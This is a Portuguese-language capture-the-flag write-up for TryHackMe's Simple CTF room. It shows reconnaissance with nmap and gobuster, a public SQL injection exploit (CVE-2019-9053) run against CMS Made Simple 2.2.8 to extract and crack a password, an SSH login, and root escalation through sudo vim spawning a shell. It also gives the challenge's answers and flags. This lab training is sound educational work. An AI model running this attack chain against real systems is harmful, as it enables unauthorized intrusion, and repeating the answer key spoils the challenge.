Relatório de Invasão: Simple CTF (TryHackMe)

Link do desafio: https://tryhackme.com/room/easyctf

O primeiro passo foi identificar quais serviços estavam rodando no servidor e quais portas estavam abertas.
Utilizamos o nmap para listar serviços e versões:

```
nmap -sV -p- 10.64.164.62
```

`-sV`: Tenta descobrir a versão do serviço (ex: se é Apache, qual versão?).
`-p-`: Verifica todas as 65.535 portas (essencial para achar a porta 1000 ou de nível superior).

```
└─$ sudo nmap -sV -Pn --min-rate 1000 10.64.164.62
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-12 22:18 -0400
Nmap scan report for 10.64.164.62
Host is up (0.14s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Podemos responder a primeira e a segunda pergunta:
How many services are running under port 1000? -> A resposta é 2 (porta 21 e porta 80)

What is running on the higher port?

- A resposta é ssh (2222)

Para descobrir diretórios na aplicação web: gobuster dir -u http://10.64.164.62 -w /usr/share/wordlists/dirb/common.txt

```
──(kali㉿kali)-[~/Documents/SIMPLE_CTF]
└─$ gobuster dir -u http://10.64.164.62 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.64.164.62
[+] Method:                  GET
[+] Threads:                 10
```

```
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htaccess            (Status: 403) [Size: 296]
.hta                 (Status: 403) [Size: 291]
.htpasswd            (Status: 403) [Size: 296]
index.html           (Status: 200) [Size: 11321]
robots.txt           (Status: 200) [Size: 929]
server-status        (Status: 403) [Size: 300]
simple               (Status: 301) [Size: 313] [--> http://10.64.164.62/simple/]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
```

Descobrimos que é uma aplicação feito com CMS Made Simple, abrindo o diretório simple no navegador que possui no rodapé: This site is powered by CMS Made Simple version 2.2.8

Podemos procurar no google exploits da versão 2.2.8 da CMS Made Simple e responder a pergunta:

What's the CVE you're using against the application?

- CVE-2019-9053

Rodamos o comando: searchsploit cms made simple 2.2.8

```
┌──(kali㉿kali)-[~/Documents/SIMPLE_CTF]
└─$ searchsploit cms made simple 2.2.8
------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                           |  Path
------------------------------------------------------------------------- ---------------------------------
CMS Made Simple < 2.2.10 - SQL Injection                                 | php/webapps/46635.py
------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

E descobrimos o tipo de vulnerabilidade:

To what kind of vulnerability is the application vulnerable?

- SQLI

Agora que sabemos que a vulnerabilidade é SQL Injection, podemos baixar o exploit e rodar searchsploit -m 46635 - para baixar

E agora rodamos o exploit:
python2 46635.py -u http://10.64.164.62/simple/ --crack -w /usr/share/wordlists/rockyou.txt

- python2 porque o script é antigo e o python3 não consegue interpretar;
- 46635.py é o script (exploit)
- -u indica o alvo (a URL)
- –crack: O banco de dados não guarda a senha em texto puro (como senha123), mas sim um Hash (um código embaralhado). Sem o --crack, o script apenas te daria o Hash. Com esse parâmetro, ele termina de extrair o Hash e tenta descobrir a senha real imediatamente.

- -w /usr/share/wordlists/rockyou.txt indica o caminho da wordlist rockyou.txt

O resultado foi:

```
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret
```

[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret

What's the password?

- secret

Com a senha e usuário podemos entrar na máquina via ssh. Nesse caso a porta ssh não é a 22 como padrão, então teremos que especificar a porta com -p 2222:
ssh mitch@10.64.164.62 -p 2222

Where can you login with the details obtained?

- ssh

Conseguimos entrar na maquina da vítima. Nele tem o arquivo user.txt com a flag:
G00d j0b, keep up!

What's the user flag?

- G00d j0b, keep up!

```
└─$ ssh mitch@10.64.164.62 -p 2222
The authenticity of host '[10.64.164.62]:2222 ([10.64.164.62]:2222)' can't be established.
ED25519 key fingerprint is: SHA256:iq4f0XcnA5nnPNAufEqOpvTbO8dOJPcHGgmeABEdQ5g
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.64.164.62]:2222' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
mitch@10.64.164.62's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190
$ ls -l
total 4
-rw-rw-r-- 1 mitch mitch 19 aug 17  2019 user.txt
$ cat user.txt
G00d j0b, keep up!
$
```

A próxima pergunta é se tem outro usuário no diretório home. Só dar um ls /home para listar o conteúdo de home:

Is there any other user in the home directory? What's its name?

- sunbath

```
$ ls /home
mitch  sunbath
```

a próxima pergunta é: Que ferramentas você pode usar para abrir um shell privilegiado? Se o administrador do sistema (root) configurou o editor de texto vim com a permissão SUID, qualquer usuário que abrir o vim poderá executar comandos dentro dele como se fosse o próprio root.

Aqui eu verifiquei as permissões Sudo e o sistema revelou que o usuário mitch tinha permissão para executar o /usr/bin/vim como root sem a necessidade de uma senha (NOPASSWD).

```
$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim
```

O vim é um editor de texto, mas ele possui uma funcionalidade que permite executar comandos do sistema.
Técnica: Como o vim estava rodando com poderes de superusuário (via sudo), qualquer processo "filho" gerado por ele herdaria esses mesmos poderes.
Exploração: Ao usar o comando sudo vim -c ':!/bin/sh', ordenamos que o editor abrisse e, imediatamente, disparasse um shell (sh).

```
$ sudo vim -c ':!/bin/sh'

# whoami
root
```

Resultado: O shell abriu com privilégios de root (indicado pelo símbolo #).

What can you leverage to spawn a privileged shell?

- vim

Agora só navegar até o diretório /root e encontrar a última flag.

```
# whoami
root
# cd /root
# ls -l
total 4
-rw-r--r-- 1 root root 24 aug 17  2019 root.txt
# cat root.txt
W3ll d0n3. You made it!
```

What's the root flag?

- W3ll d0n3. You made it!

Entendendo o exploit:

1. Salt for password found: 1dac0d92e9fa6bb2
O Salt é um valor aleatório único gerado pelo sistema para cada usuário.

O que ele faz: Ele é concatenado à senha antes de gerar o hash. Se o usuário mitch e o usuário admin tiverem a mesma senha, os hashes deles serão diferentes porque os salts são diferentes.

Por que o script precisou dele: Sem o salt, o script nunca conseguiria comparar as senhas da sua lista (rockyou.txt) com o que estava no banco de dados.

2. Username found: mitch
O script acessou a tabela de usuários (provavelmente cms_users) e extraiu o conteúdo da coluna de nomes. Agora você sabe que o dono daquela senha se chama mitch. Esse será seu login no SSH.

3. Email found: admin@admin.com
Apenas uma informação adicional extraída da mesma tabela. Em um ataque real, isso seria útil para ataques de phishing ou para tentar a mesma senha em contas de e-mail.

4. Password found: 0c01f4468bd75d7a84c7eb73846e8d96
Este é o Hash MD5.

O banco de dados não guarda "secret". Ele guarda essa sequência de 32 caracteres.

O script conseguiu isso através de Blind SQL Injection. Ele fez milhares de perguntas ao banco: "A primeira letra do hash é 0?", "A segunda é c?"... e o banco respondia através do tempo de resposta (latência).

5. Password cracked: secret
Aqui é onde o arquivo rockyou.txt entrou em ação.

O script pegou a palavra secret da lista.

Ele fez a conta: MD5(salt + "secret").

O resultado foi exatamente 0c01f4468bd75d7a84c7eb73846e8d96.

O script descobriu que a senha original é secret.